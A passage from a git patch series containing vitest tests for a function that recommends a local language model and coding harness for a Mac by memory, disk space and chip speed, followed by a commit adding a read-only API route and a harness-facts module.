installable: false })); + expect(recommend(bigMac, STOCK, facts).reason).toBe('no-harness'); + }); + + it('answers so when only the gated harness is on the machine', () => { + const gatedRows = STOCK.harnesses.filter((row) => row.gated); + expect(gatedRows).toHaveLength(1); + expect( + recommend( + bigMac, + STOCK, + gatedRows.map((row) => fact(row.cli)) + ).reason + ).toBe('no-harness'); + }); + + it('answers so when a harness is there but accepts no model id', () => { + const facts = ALL_INSTALLED.map((entry) => ({ ...entry, acceptsModelId: () => false })); + expect(recommend(bigMac, STOCK, facts).reason).toBe('no-harness'); + }); + + it('ignores a fact for a CLI that is not a catalogue harness', () => { + expect(recommend(bigMac, STOCK, [fact('codex'), fact('some-other-cli')]).reason).toBe('no-harness'); + }); + }); + + describe('disk', () => { + it('answers so when every fitting model would leave under 10 GiB free', () => { + // 12 GiB free: even the smallest download (6.55 GB) leaves 5.9 GiB. + const hw = mac(48, 'Apple M4 Max', { freeDiskBytes: 12 * GIB, freeDiskGb: formatGb(12 * GIB) }); + const result = recommend(hw, STOCK, ALL_INSTALLED); + expectNone( + result, + 'disk', + 'Not enough free disk space. The smallest model that fits this Mac is a {download} GB download and {free} GB is free. Free up about {missing} GB.' + ); + // download + 10 GiB - free = 6,550,825,373 + 10,737,418,240 - 12,884,901,888 bytes. + expect(result.headline.vars).toEqual({ download: '6.6', free: '12.9', missing: '4.4' }); + expect(result.budgetBytes).toBe(35 * GIB); + }); + + it('names the smallest model that fits the MEMORY, not the smallest of the catalogue', () => { + // On a 48 GB Mac whose harness refuses both 9B ids, the smallest candidate is gpt-oss:20b. + const facts = ALL_INSTALLED.map((entry) => ({ + ...entry, + acceptsModelId: (id: string) => !id.startsWith('qwen3.5:9b'), + })); + const hw = mac(48, 'Apple M4 Max', { freeDiskBytes: 12 * GIB, freeDiskGb: formatGb(12 * GIB) }); + const result = recommend(hw, STOCK, facts); + expect(result.reason).toBe('disk'); + expect(result.headline.vars?.download).toBe('13.8'); + }); + + it('drops only the models that do not leave 10 GiB, and picks among the rest', () => { + // 20 GiB free: the 9B downloads (6.1 and 9.7 GiB) leave 10 GiB or more, the others do not. + const hw = mac(48, 'Apple M4 Max', { freeDiskBytes: 20 * GIB, freeDiskGb: formatGb(20 * GIB) }); + const result = recommend(hw, STOCK, ALL_INSTALLED); + expect(result.verdict).toBe('limited'); + expect(order(result)).toEqual(['qwen3.5:9b-q8_0@65536', 'qwen3.5:9b@65536']); + }); + + it('allows a download that leaves exactly 10 GiB', () => { + const exact = STOCK.models[0].bytes + DISK_HEADROOM_BYTES; + expect(DISK_HEADROOM_BYTES).toBe(10 * GIB); + const fits = recommend(mac(24, 'Apple M4', { freeDiskBytes: exact }), STOCK, ALL_INSTALLED); + expect(fits.pick?.modelId).toBe('qwen3.5:9b'); + const short = recommend(mac(24, 'Apple M4', { freeDiskBytes: exact - 1 }), STOCK, ALL_INSTALLED); + expect(short.reason).toBe('disk'); + }); + + it('does not block when the free disk is unknown', () => { + const hw = without(mac(48, 'Apple M4 Max'), 'freeDiskBytes', 'freeDiskGb'); + expect(recommend(hw, STOCK, ALL_INSTALLED).verdict).toBe('ok'); + }); + + it('formats the free size itself when the hardware carries only the bytes', () => { + const hw = without(mac(48, 'Apple M4 Max', { freeDiskBytes: 3 * GB }), 'freeDiskGb'); + expect(recommend(hw, STOCK, ALL_INSTALLED).headline.vars?.free).toBe('3.0'); + }); + + it('comes after the memory and the harness', () => { + const fullDisk = { freeDiskBytes: 0, freeDiskGb: '0.0' }; + expect(recommend(mac(16, 'Apple M4', fullDisk), STOCK, ALL_INSTALLED).reason).toBe('memory'); + expect(recommend(mac(48, 'Apple M4 Max', fullDisk), STOCK, []).reason).toBe('no-harness'); + expect(recommend(mac(48, 'Apple M4 Max', fullDisk), STOCK, ALL_INSTALLED).reason).toBe('disk'); + }); + }); +}); + +// ---------- 4. Verdicts, ranking, harnesses, tested ---------- + +describe('verdict limited', () => { + it('is the answer when the best model that fits has fewer than 12 billion parameters', () => { + expect(LIMITED_BELOW_PARAMS_B).toBe(12); + const result = recommend(mac(24, 'Apple M4'), STOCK, ALL_INSTALLED); + expect(result.verdict).toBe('limited'); + expect(result.reason).toBeUndefined(); + expect(result.pick).toMatchObject({ modelId: 'qwen3.5:9b', paramsB: 9, context: 65536, fit: 'good' }); + expect(result.headline).toEqual({ + text: 'This Mac can run a small model. It handles small edits and questions. It does not replace a cloud model.', + }); + expect(result.notes).toEqual([{ text: 'Not yet tested by us on a Mac like this.' }]); + }); + + it('holds for a tight fit too (18 GB)', () => { + const result = recommend(mac(18, 'Apple M3 Pro'), STOCK, ALL_INSTALLED); + expect(result.verdict).toBe('limited'); + expect(result.pick).toMatchObject({ modelId: 'qwen3.5:9b', fit: 'tight', fitLabel: 'Tight', budgetShare: 0.873 }); + expect(result.alternatives).toEqual([]); + }); + + it('draws the line at 12 billion: 11.9 is limited, 12 is ok', () => { + const verdictFor = (paramsB: number): string => + recommend(HUNDRED_GIB_MAC, catalogOf([model('probe:1', { paramsB })]), [fact('alpha')]).verdict; + expect(verdictFor(11.9)).toBe('limited'); + expect(verdictFor(12)).toBe('ok'); + expect(verdictFor(9)).toBe('limited'); + expect(verdictFor(27.8)).toBe('ok'); + }); + + it('is about the PICK: a larger model further down the list does not lift it', () => { + // 32 GB: the 20B fits only as Tight, so a 9B is the pick and the answer is limited. + const result = recommend(mac(32, 'Apple M4'), STOCK, ALL_INSTALLED); + expect(result.verdict).toBe('limited'); + expect(result.alternatives.map((c) => [c.modelId, c.fit])).toContainEqual(['gpt-oss:20b', 'tight']); + }); + + it('never says "Recommended", for any Mac', () => { + for (const hw of SWEEP) { + const result = recommend(hw, STOCK, ALL_INSTALLED); + if (result.verdict === 'limited') { + expect(result.headline.text).toBe(LOCAL_MODEL_LABELS.headlineLimited); + expect(stringsIn(result).join(' ')).not.toMatch(/recommended/i); + } + } + }); +}); + +describe('speed', () => { + it('is the model figure times the chip bandwidth, rounded to one decimal', () => { + const result = recommend(mac(48, 'Apple M4 Max'), STOCK, ALL_INSTALLED); + // 2.95 x 410 / 100. + expect(result.pick).toMatchObject({ modelId: 'qwen3.8:27b', speed: 'ok', tokensPerSecond: 12.1 }); + expect(result.pick).not.toHaveProperty('speedLabel'); + }); + + it('is slow below 10 tokens per second, and says so', () => { + expect(SLOW_BELOW_TOKENS_PER_SECOND).toBe(10); + const speedOf = (speedPer100Gbps: number): Candidate | undefined => + recommend(HUNDRED_GIB_MAC, catalogOf([model('probe:1', { speedPer100Gbps })]), [fact('alpha')]).pick; + // The synthetic chip has 400 GB/s: 2.5 is 10.0 tokens per second, 2.475 is 9.9. + expect(speedOf(2.5)).toMatchObject({ speed: 'ok', tokensPerSecond: 10 }); + expect(speedOf(2.475)).toMatchObject({ speed: 'slow', tokensPerSecond: 9.9, speedLabel: 'Slow' }); + expect(speedOf(0.5)).toMatchObject({ speed: 'slow', tokensPerSecond: 2, speedLabel: 'Slow' }); + }); + + it('is unknown for a model without a figure, on any chip', () => { + // 48 GB: five models fit, so all of them are listed and gpt-oss:20b is among them. + for (const chip of ['Apple M1', 'Apple M4 Max', 'Apple M5 Ultra']) { + const result = recommend(mac(48, chip), STOCK, ALL_INSTALLED); + const gptOss = [result.pick, ...result.alternatives].find((c) => c?.modelId === 'gpt-oss:20b'); + expect(gptOss, chip).toMatchObject({ speed: 'unknown', speedLabel: 'Speed unknown' }); + expect(gptOss).not.toHaveProperty('tokensPerSecond'); + } + }); + + it('is unknown for every model on a chip that is in no chips row: no bandwidth is guessed', () => { + for (const chip of ['Apple M6', 'Apple M6 Pro', 'Apple M10', 'Some Future Chip']) { + const result = recommend(mac(64, chip), STOCK, ALL_INSTALLED); + for (const candidate of [result.pick, ...result.alternatives]) { + expect(candidate, chip).toMatchObject({ speed: 'unknown', speedLabel: 'Speed unknown' }); + expect(candidate).not.toHaveProperty('tokensPerSecond'); + } + } + // And when the chip name itself is missing. + const result = recommend(without(mac(64, 'x'), 'chip'), STOCK, ALL_INSTALLED); + expect(result.pick?.speed).toBe('unknown'); + }); +}); + +describe('the ranking', () => { + it('puts ok before unknown before slow, ahead of the model rank', () => { + // Three models that fit equally well. The ranks run AGAINST the speed. + const catalog = catalogOf([ + model('slow-top:1', { rank: 3, speedPer100Gbps: 1 }), + model('unknown-mid:1', { rank: 2 }), + model('ok-low:1', { rank: 1, speedPer100Gbps: 5 }), + ]); + const result = recommend(HUNDRED_GIB_MAC, catalog, [fact('alpha')]); + expect(order(result)).toEqual(['ok-low:1@1024', 'unknown-mid:1@1024', 'slow-top:1@1024']); + expect([result.pick, ...result.alternatives].map((c) => c?.speed)).toEqual(['ok', 'unknown', 'slow']); + }); + + it('ranks by model rank alone when every speed is unknown', () => { + // 'Apple M6' is in no chips row. + const result = recommend(mac(48, 'Apple M6'), STOCK, ALL_INSTALLED); + expect(order(result)).toEqual([ + 'qwen3.8:27b@131072', + 'qwen3.6:35b-a3b@131072', + 'gpt-oss:20b@131072', + 'qwen3.5:9b-q8_0@65536', + 'qwen3.5:9b@65536', + ]); + }); + + it('ranks an unknown speed below a known ok one and above a slow one, on a real tier', () => { + // 48 GB, M4 Pro: three ok models, then gpt-oss:20b (unknown), then the 27B (slow). + const result = recommend(mac(48, 'Apple M4 Pro'), STOCK, ALL_INSTALLED); + expect([result.pick, ...result.alternatives].map((c) => [c?.modelId, c?.speed])).toEqual([ + ['qwen3.6:35b-a3b', 'ok'], + ['qwen3.5:9b-q8_0', 'ok'], + ['qwen3.5:9b', 'ok'], + ['gpt-oss:20b', 'unknown'], + ['qwen3.8:27b', 'slow'], + ]); + }); + + it('puts a good fit before a tight one, ahead of speed and rank', () => { + const catalog = catalogOf([ + modelNeeding('tight-fast-top:1', 0.9 * HUNDRED_GIB, { rank: 9, speedPer100Gbps: 20 }), + modelNeeding('good-slow-low:1', 0.5 * HUNDRED_GIB, { rank: 1, speedPer100Gbps: 1 }), + ]); + const result = recommend(HUNDRED_GIB_MAC, catalog, [fact('alpha')]); + expect(order(result)).toEqual(['good-slow-low:1@1024', 'tight-fast-top:1@1024']); + }); + + it('takes the higher model rank among equals', () => { + const catalog = catalogOf([model('low:1', { rank: 1 }), model('high:1', { rank: 5 }), model('mid:1', { rank: 3 })]); + expect(order(recommend(HUNDRED_GIB_MAC, catalog, [fact('alpha')]))).toEqual([ + 'high:1@1024', + 'mid:1@1024', + 'low:1@1024', + ]); + }); + + it('takes the larger context of one model when both fit equally well', () => { + // 1 KiB per token: 4 GiB of KV cache at 4,194,304 tokens, still a good fit. + const catalog = catalogOf([model('probe:1', { kvBytesPerToken: 1024, contexts: [4_194_304, 1024] })]); + const result = recommend(HUNDRED_GIB_MAC, catalog, [fact('alpha')]); + expect(result.pick?.context).toBe(4_194_304); + expect(result.alternatives).toEqual([]); + }); + + it('steps a model down to the context at which it fits well', () => { + // Good at the small context, tight at the large one: the good one is that model's entry. + const catalog = catalogOf([ + model('probe:1', { bytes: 80 * GIB, kvBytesPerToken: 1024, contexts: [8_388_608, 1024] }), + ]); + const result = recommend(HUNDRED_GIB_MAC, catalog, [fact('alpha')]); + expect(result.pick).toMatchObject({ context: 1024, fit: 'good' }); + }); + + it('lists each model once, never the pick again, and at most four alternatives', () => { + expect(MAX_ALTERNATIVES).toBe(4); + // Six models fit a 128 GB Mac; the pick plus four are shown. + const result = recommend(mac(128, 'Apple M5 Ultra'), STOCK, ALL_INSTALLED); + expect(result.alternatives).toHaveLength(4); + const ids = [result.pick, ...result.alternatives].map((c) => c?.modelId); + expect(new Set(ids).size).toBe(ids.length); + for (const hw of SWEEP) { + const swept = recommend(hw, STOCK, ALL_INSTALLED); + const sweptIds = [swept.pick, ...swept.alternatives].filter(Boolean).map((c) => c?.modelId); + expect(new Set(sweptIds).size).toBe(sweptIds.length); + expect(swept.alternatives.length).toBeLessThanOrEqual(MAX_ALTERNATIVES); + } + }); +}); + +describe('harnesses', () => { + const hw = mac(48, 'Apple M4 Max'); + + it('never chooses a gated harness, even when it is the only one that could run a model', () => { + const gated = STOCK.harnesses.filter((row) => row.gated).map((row) => row.cli); + expect(gated).toEqual(['pi']); + for (const swept of SWEEP) { + const result = recommend(swept, STOCK, ALL_INSTALLED); + for (const candidate of [result.pick, ...result.alternatives]) { + if (candidate) expect(gated).not.toContain(candidate.cli); + } + } + // 16 GB: the gated harness alone works at 32768 tokens, where the 9B would fit. Still none. + expect(recommend(mac(16, 'Apple M4'), STOCK, ALL_INSTALLED).verdict).toBe('none'); + }); + + it('never offers a context below the minimum of the harness', () => { + for (const swept of SWEEP) { + const result = recommend(swept, STOCK, ALL_INSTALLED); + for (const candidate of [result.pick, ...result.alternatives]) { + if (!candidate) continue; + const row = STOCK.harnesses.find((harness) => harness.cli === candidate.cli); + expect(candidate.context).toBeGreaterThanOrEqual(row?.minContext ?? Number.POSITIVE_INFINITY); + } + } + }); + + it('takes the higher-ranked harness and reports its label and that it is installed', () => { + const result = recommend(hw, STOCK, ALL_INSTALLED); + expect(result.pick).toMatchObject({ cli: 'opencode', cliLabel: 'OpenCode', cliInstalled: true }); + expect(result.pick).not.toHaveProperty('slowFirstTurn'); + }); + + it('falls back to the next harness when the first is not on the machine, and flags its slow first turn', () => { + const facts = [fact('opencode', { installed: false, installable: false }), fact('claude'), fact('pi')]; + const result = recommend(hw, STOCK, facts); + expect(result.pick).toMatchObject({ + modelId: 'qwen3.8:27b', + cli: 'claude', + cliLabel: 'Claude Code', + cliInstalled: true, + slowFirstTurn: true, + }); + // The same when the caller has no fact for it at all. + expect(recommend(hw, STOCK, [fact('claude')]).pick?.cli).toBe('claude'); + }); + + it('offers a harness that is not installed but can be, and says it is not installed', () => { + const facts = [fact('opencode', { installed: false, installable: true }), fact('claude')]; + const result = recommend(hw, STOCK, facts); + expect(result.pick).toMatchObject({ cli: 'opencode', cliInstalled: false }); + }); + + it('pairs a model only with a harness that accepts its id', () => { + const refusing27b = (id: string): boolean => id !== 'qwen3.8:27b'; + // OpenCode refuses the 27B: it goes with the next harness. + const one = recommend(hw, STOCK, [fact('opencode', { acceptsModelId: refusing27b }), fact('claude')]); + expect(one.pick).toMatchObject({ modelId: 'qwen3.8:27b', cli: 'claude' }); + expect(one.alternatives[0]).toMatchObject({ modelId: 'qwen3.6:35b-a3b', cli: 'opencode' }); + // Both refuse it: the model is not offered. + const both = recommend(hw, STOCK, [ + fact('opencode', { acceptsModelId: refusing27b }), + fact('claude', { acceptsModelId: refusing27b }), + ]); + expect(both.pick?.modelId).toBe('qwen3.6:35b-a3b'); + expect(order(both)).not.toContain('qwen3.8:27b@131072'); + }); + + it('treats a harness check that throws as a refusal, and still answers', () => { + const throwing = fact('opencode', { + acceptsModelId: () => { + throw new Error('registry not loaded'); + }, + }); + const result = recommend(hw, STOCK, [throwing, fact('claude')]); + expect(result.verdict).toBe('ok'); + expect(result.pick?.cli).toBe('claude'); + expect(recommend(hw, STOCK, [throwing]).reason).toBe('no-harness'); + }); + + it('puts the fit and the model before the harness rank', () => { + // `big` needs a large context and is the higher-ranked harness; `small` works from 1024. + const harnesses: LocalHarnessEntry[] = [ + { cli: 'big', minContext: 8_388_608, rank: 2 }, + { cli: 'small', minContext: 1024, rank: 1 }, + ]; + const tightAtLarge = catalogOf( + [model('probe:1', { bytes: 80 * GIB, kvBytesPerToken: 1024, contexts: [8_388_608, 1024] })], + harnesses + ); + // Tight at the context `big` needs, good at the small one: the good fit with `small` wins. + expect(recommend(HUNDRED_GIB_MAC, tightAtLarge, [fact('big'), fact('small')]).pick).toMatchObject({ + cli: 'small', + context: 1024, + fit: 'good', + }); + // Good at both: the higher-ranked harness wins, at the context it needs. + const goodAtBoth = catalogOf( + [model('probe:1', { bytes: 10 * GIB, kvBytesPerToken: 1024, contexts: [8_388_608, 1024] })], + harnesses + ); + expect(recommend(HUNDRED_GIB_MAC, goodAtBoth, [fact('big'), fact('small')]).pick).toMatchObject({ + cli: 'big', + context: 8_388_608, + }); + }); +}); + +describe('the tested flag and the word "Recommended"', () => { + const testedOn = (chip: string, memGb: number, cli: string) => ({ chip, memGb, cli, date: '2026-11-06' }); + const with27bTested = (chip: string, memGb: number, cli: string): LocalModelCatalog => + stockWith((catalog) => { + const row = catalog.models.find((m) => m.id === 'qwen3.8:27b') as LocalModelEntry; + row.tested = [testedOn(chip, memGb, cli)]; + }); + + it('is off for every model of the stock catalogue, so "Recommended" is never said today', () => { + for (const hw of SWEEP) { + const result = recommend(hw, STOCK, ALL_INSTALLED); + for (const candidate of [result.pick, ...result.alternatives]) { + if (candidate) expect(candidate.tested).toBe(false); + } + expect(stringsIn(result).join(' ')).not.toMatch(/recommended/i); + if (result.verdict !== 'none') { + expect(result.notes).toEqual([{ text: LOCAL_MODEL_LABELS.noteUntested }]); + } + } + }); + + it('turns on "Recommended for this Mac" when the pick was tested on exactly such a Mac', () => { + const result = recommend(mac(48, 'Apple M4 Max'), with27bTested('Apple M4 Max', 48, 'opencode'), ALL_INSTALLED); + expect(result.verdict).toBe('ok'); + expect(result.pick).toMatchObject({ modelId: 'qwen3.8:27b', cli: 'opencode', tested: true }); + expect(result.headline).toEqual({ text: 'Recommended for this Mac' }); + // The "not yet tested" note goes away with it. + expect(result.notes).toEqual([]); + }); + + it('stays off when the chip, the memory size or the harness differs', () => { + const hw = mac(48, 'Apple M4 Max'); + const cases: LocalModelCatalog[] = [ + with27bTested('Apple M4 Pro', 48, 'opencode'), + with27bTested('Apple M4', 48, 'opencode'), + with27bTested('Apple M4 Max', 64, 'opencode'), + with27bTested('Apple M4 Max', 48, 'claude'), + ]; + for (const catalog of cases) { + const result = recommend(hw, catalog, ALL_INSTALLED); + expect(result.pick).toMatchObject({ modelId: 'qwen3.8:27b', cli: 'opencode', tested: false }); + expect(result.headline).toEqual({ text: 'Best fit for this Mac' }); + expect(result.notes).toEqual([{ text: 'Not yet tested by us on a Mac like this.' }]); + } + }); + + it('follows the harness: tested with the second harness counts when that one is the pick', () => { + const catalog = with27bTested('Apple M4 Max', 48, 'claude'); + const result = recommend(mac(48, 'Apple M4 Max'), catalog, [fact('claude')]); + expect(result.pick).toMatchObject({ cli: 'claude', tested: true }); + expect(result.headline.text).toBe('Recommended for this Mac'); + }); + + it('does not change the ranking: a tested model further down stays an alternative', () => { + // On the M4 Pro the pick is the 35B-A3B. A tested 27B is flagged in the list, no more. + const result = recommend(mac(48, 'Apple M4 Pro'), with27bTested('Apple M4 Pro', 48, 'opencode'), ALL_INSTALLED); + expect(result.pick).toMatchObject({ modelId: 'qwen3.6:35b-a3b', tested: false }); + expect(result.headline.text).toBe('Best fit for this Mac'); + expect(result.notes).toEqual([{ text: LOCAL_MODEL_LABELS.noteUntested }]); + expect(result.alternatives.find((c) => c.modelId === 'qwen3.8:27b')?.tested).toBe(true); + }); + + it('never says "Recommended" for a limited answer, tested or not', () => { + const catalog = stockWith((stock) => { + const row = stock.models.find((m) => m.id === 'qwen3.5:9b') as LocalModelEntry; + row.tested = [testedOn('Apple M4', 24, 'opencode')]; + }); + const result = recommend(mac(24, 'Apple M4'), catalog, ALL_INSTALLED); + expect(result.verdict).toBe('limited'); + expect(result.pick?.tested).toBe(true); + expect(result.headline.text).toBe(LOCAL_MODEL_LABELS.headlineLimited); + expect(stringsIn(result).join(' ')).not.toMatch(/recommended/i); + // It WAS tested, so the "not yet tested" note would be false. + expect(result.notes).toEqual([]); + }); +}); + +describe('the shape of the answer', () => { + const labels = new Set(Object.values(LOCAL_MODEL_LABELS)); + + it('takes every sentence and label from the fixed list', () => { + for (const hw of SWEEP) { + const result = recommend(hw, STOCK, ALL_INSTALLED); + expect(labels.has(result.headline.text)).toBe(true); + for (const note of result.notes) expect(labels.has(note.text)).toBe(true); + for (const candidate of [result.pick, ...result.alternatives]) { + if (!candidate) continue; + expect(labels.has(candidate.fitLabel)).toBe(true); + if (candidate.speedLabel !== undefined) expect(labels.has(candidate.speedLabel)).toBe(true); + expect(candidate.speedLabel === undefined).toBe(candidate.speed === 'ok'); + expect(candidate.tokensPerSecond === undefined).toBe(candidate.speed === 'unknown'); + } + } + }); + + it('fills every placeholder of a headline and nothing else', () => { + const answers = [ + recommend(mac(8, 'Apple M2'), STOCK, ALL_INSTALLED), + recommend(mac(48, 'Apple M4', { macosMajor: 13, macosVersion: '13.0' }), STOCK, ALL_INSTALLED), + recommend(mac(48, 'Apple M4', { freeDiskBytes: GB, freeDiskGb: '1.0' }), STOCK, ALL_INSTALLED), + recommend(mac(48, 'Apple M4'), STOCK, []), + recommend(mac(48, 'Apple M4'), STOCK, ALL_INSTALLED), + ]; + expect(answers.map((answer) => answer.reason ?? answer.verdict)).toEqual([ + 'memory', + 'macos', + 'disk', + 'no-harness', + 'ok', + ]); + for (const answer of answers) { + const slots = [...answer.headline.text.matchAll(/\{(\w+)\}/g)].map((match) => match[1]).sort(); + expect(Object.keys(answer.headline.vars ?? {}).sort()).toEqual(slots); + // `{name}` belongs to the browser's translator. + expect(slots).not.toContain('name'); + for (const value of Object.values(answer.headline.vars ?? {})) expect(typeof value).toBe('string'); + } + }); + + it('prints every size in one unit: decimal GB from the one formatter, never GiB', () => { + for (const hw of SWEEP) { + const result = recommend(hw, STOCK, ALL_INSTALLED); + expect(result.budgetGb).toBe(formatGb(result.budgetBytes)); + for (const candidate of [result.pick, ...result.alternatives]) { + if (!candidate) continue; + expect(candidate.needGb).toBe(formatGb(candidate.needBytes)); + expect(candidate.downloadGb).toBe(formatGb(candidate.downloadBytes)); + expect(candidate.budgetShare).toBeCloseTo(candidate.needBytes / result.budgetBytes, 3); + } + expect(JSON.stringify(result)).not.toMatch(/GiB|MiB/); + } + }); + + it('adds up for a person: download, plus what the context and the runtime take, is the need', () => { + const result = recommend(mac(48, 'Apple M4 Max'), STOCK, ALL_INSTALLED); + const pick = result.pick as Candidate; + // 17.7 GB of weights + 8 GiB of KV cache + 1 GiB + 2 GiB of prompt cache, all in decimal GB. + expect(pick.downloadGb).toBe('17.7'); + expect(pick.needGb).toBe('29.6'); + expect(formatGb(pick.needBytes - pick.downloadBytes)).toBe('11.8'); + expect(result.budgetGb).toBe('37.6'); + expect(pick.needBytes).toBeLessThan(result.budgetBytes); + }); + + it('is plain JSON and has exactly the fields of its verdict', () => { + const ok = recommend(mac(48, 'Apple M4 Max'), STOCK, ALL_INSTALLED); + expect(JSON.parse(JSON.stringify(ok))).toEqual(ok); + expect(Object.keys(ok).sort()).toEqual( + ['alternatives', 'budgetBytes', 'budgetGb', 'budgetSource', 'headline', 'notes', 'pick', 'verdict'].sort() + ); + const none = recommend(mac(8, 'Apple M2'), STOCK, ALL_INSTALLED); + expect(JSON.parse(JSON.stringify(none))).toEqual(none); + expect(Object.keys(none).sort()).toEqual( + ['alternatives', 'budgetBytes', 'budgetGb', 'budgetSource', 'headline', 'notes', 'reason', 'verdict'].sort() + ); + }); + + it('is pure: frozen inputs are enough, and the same inputs give the same answer', () => { + const hw = deepFreeze(mac(48, 'Apple M4 Pro')); + const catalog = deepFreeze(structuredClone(STOCK_LOCAL_MODEL_CATALOG)); + const facts = deepFreeze(ALL_INSTALLED.map((entry) => ({ ...entry }))); + const first = recommend(hw, catalog, facts); + const second = recommend(hw, catalog, facts); + expect(second).toEqual(first); + expect(first.verdict).toBe('ok'); + }); +}); From 34e95ceb6236293024425bfa74404f2512f744e5 Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Fri, 6 Nov 2026 16:27:49 +0100 Subject: [PATCH 03/28] feat(local-model): GET /api/local-model and the harness facts The read-only route behind the recommendation, and the one module that reads the CLI registry for it. - harness-facts.ts: one fact per catalogue harness row, resolved in the CLI registry at call time: the registry's label, `installed` from the existing availability probe (asked once per build), `installable` for a stock CLI whose install command for this platform needs no administrator rights, and `acceptsModelId`, the test a custom model launch applies to the model id. A row whose CLI is unknown, disabled or has no custom model mechanism gets no fact. No CLI id is compared with a literal. - routes/local-model-routes.ts: answers { hardware, recommendation, catalogUpdated } in the usual envelope and reformats nothing. Admin only in multi-user mode (403), checked before anything is probed. A failed probe is an answer (200, the hardware's `source` says what was read); a 500 is left for a fault in the catalogue, the harness facts or recommend(). It writes no file and reads no setting. Tests: test/local-model-harness-facts.test.ts, test/routes/local-model-routes.test.ts (app.inject(), no port; the temp HOME is byte-identical before and after the requests). Co-Authored-By: Claude Fable 5.1 --- src/local-model/harness-facts.ts | 171 ++++++++-- src/web/routes/local-model-routes.ts | 72 ++++- test/local-model-harness-facts.test.ts | 306 ++++++++++++++++++ test/routes/local-model-routes.test.ts | 422 +++++++++++++++++++++++++ 4 files changed, 942 insertions(+), 29 deletions(-) create mode 100644 test/local-model-harness-facts.test.ts create mode 100644 test/routes/local-model-routes.test.ts diff --git a/src/local-model/harness-facts.ts b/src/local-model/harness-facts.ts index 7a27d130..b86403e4 100644 --- a/src/local-model/harness-facts.ts +++ b/src/local-model/harness-facts.ts @@ -3,28 +3,163 @@ * local model recommendation. Server side: this is the one module of src/local-model/ that * reads the CLI registry, so `recommend()` can stay pure and name no CLI. * - * SKELETON: the exported signature is final, the body is not written yet. `buildHarnessFacts()` - * will, for every `LocalHarnessEntry` of the catalogue: - * - resolve its `cli` in the CLI registry AT CALL TIME (never in a module-level constant), and - * leave out a row whose CLI is unknown, disabled, or has no custom model mechanism - * (`capabilities.customModelInjection.kind` is `unsupported`); - * - report `label` from the registry entry and `installed` from the same probe the other - * routes use; - * - report `installable` only for a CLI that is not installed and whose install command for - * this platform needs no administrator rights (not one that starts with `brew` or `sudo`); - * - supply `acceptsModelId`, the same test a custom model launch applies to the model id - * before anything is written (the launch spec's model pattern). + * `buildHarnessFacts()` walks the catalogue's `harnesses` rows and, for every row: + * - resolves its `cli` in the CLI registry AT CALL TIME (never in a module-level constant), + * and leaves the row out when the CLI is unknown, disabled, or has no custom model + * mechanism (`capabilities.customModelInjection.kind` is `unsupported`); + * - reports `label` from the registry entry and `installed` from the same probe the page + * render and `GET /api/clis` use (`utils/cli-installed-probes.ts`), asked once per build; + * - reports `installable` only for a STOCK CLI that is not installed and whose install + * command for this platform needs no administrator rights (`installCommandNeedsAdmin()`). + * Stock only, because the install runner never executes a custom entry's command; + * - supplies `acceptsModelId` (`cliAcceptsCustomModelId()`), the test a custom model launch + * applies to the model id before anything is written. * * Rules: - * - No CLI id is compared with a literal here or anywhere: the id comes from the catalogue row - * and everything else from the registry entry it resolves to. - * - Read-only: nothing is installed, written or spawned beyond the existing availability probe. + * - No CLI id is compared with a literal here or anywhere: the id comes from the catalogue + * row and everything else from the registry entry it resolves to. + * - Read-only: nothing is installed, written or spawned beyond the existing availability + * probe. An install command is only read as text, never run. + * - Never throws: a probe that fails reads as "not installed" (with a warning in the log), + * and the registry's install data still answers `installable`. + * + * `cliAcceptsCustomModelId()` composes the two pure pieces the launch path itself calls + * (`buildCustomModelInjection()` and `matchesPattern()` on the entry's `model` launch param). + * The launch path keeps that composition inline at two sites in + * src/web/routes/session-routes.ts (the quick-start `customModel` branch and + * `POST /api/sessions/:id/custom-model`). A change to the rule there must be made here too, + * until the three share one helper. */ -import type { HarnessFact, LocalModelCatalog } from '../types.js'; +import type { CliEntry } from '../config/cli-registry/types.js'; +import { matchesPattern } from '../config/cli-registry/patterns.js'; +import { getCli, resolveInstallCommandForPlatform } from '../config/cli-registry/registry.js'; +import { buildCustomModelInjection, type CustomModelEndpoint } from '../custom-model-injection.js'; +import { isCliEntryInstalled, probeStockCliAvailability } from '../utils/cli-installed-probes.js'; +import { getErrorMessage, type HarnessFact, type LocalModelCatalog } from '../types.js'; + +/** What `buildHarnessFacts()` reads. Each member defaults to the real module; a test overrides what it needs. */ +export interface HarnessFactsDeps { + /** One CLI of the registry, looked up when the facts are built. */ + getCli: (id: string) => CliEntry | undefined; + /** + * The availability probe, asked ONCE per build: it answers with a test for single entries. + * Under vitest the real probe is inert (it finds no CLI), so a test that cares about + * `installed` passes its own. + */ + probeInstalled: () => Promise<(entry: CliEntry) => boolean>; + /** The install command the registry holds for this platform. Read as text, never run. */ + installCommandFor: (entry: CliEntry) => string | undefined; +} + +export const defaultHarnessFactsDeps: HarnessFactsDeps = { + getCli, + probeInstalled: async () => { + const stockAvailability = await probeStockCliAvailability(); + return (entry) => isCliEntryInstalled(entry, stockAvailability); + }, + installCommandFor: resolveInstallCommandForPlatform, +}; + +/** + * A command segment that starts with `sudo` or `brew`: at the start of the text, or after a + * pipe, `&&`, `||`, `;`, a line break or an opening parenthesis. + */ +const ADMIN_COMMAND = /(?:^|[;&|(\n])\s*(?:sudo|brew)(?=\s|$)/; + +/** + * Whether an install command needs administrator rights, read off its text. + * - `sudo ...` asks for an administrator password. + * - `brew ...` needs Homebrew, and installing Homebrew needs an administrator (the same rule + * the installer's no-admin route applies to the CLI menu). + * `curl ... | bash` installers write into the home directory, and the install runner points an + * `npm install -g` at a prefix the server user can write, so neither counts. + */ +export function installCommandNeedsAdmin(command: string): boolean { + return ADMIN_COMMAND.test(command); +} + +/** Stands in for a configured endpoint: the launch id a recipe forces depends on the model id alone. */ +const PROBE_ENDPOINT: CustomModelEndpoint = { + id: 'local-model-probe', + label: 'local model probe', + baseUrl: 'http://127.0.0.1', +}; + +/** + * Whether a custom model launch of this CLI would accept `modelId`. + * + * A CLI whose config alone cannot select the model gets the id forced onto its `model` launch + * param (the recipe's `launchModel` template). The argv engine DROPS a token that fails the + * param's pattern, which would start the CLI on its own default provider, so the launch path + * refuses such an id up front. This is that test: false when the forced value does not match + * the pattern, and false for a CLI with no custom model mechanism at all. + */ +export function cliAcceptsCustomModelId(entry: Pick, modelId: string): boolean { + try { + const injection = buildCustomModelInjection(entry, PROBE_ENDPOINT, modelId); + if (injection.kind === 'unsupported') return false; + const forcedLaunchModel = injection.launchModel; + const modelSpec = entry.launch.params.model; + return 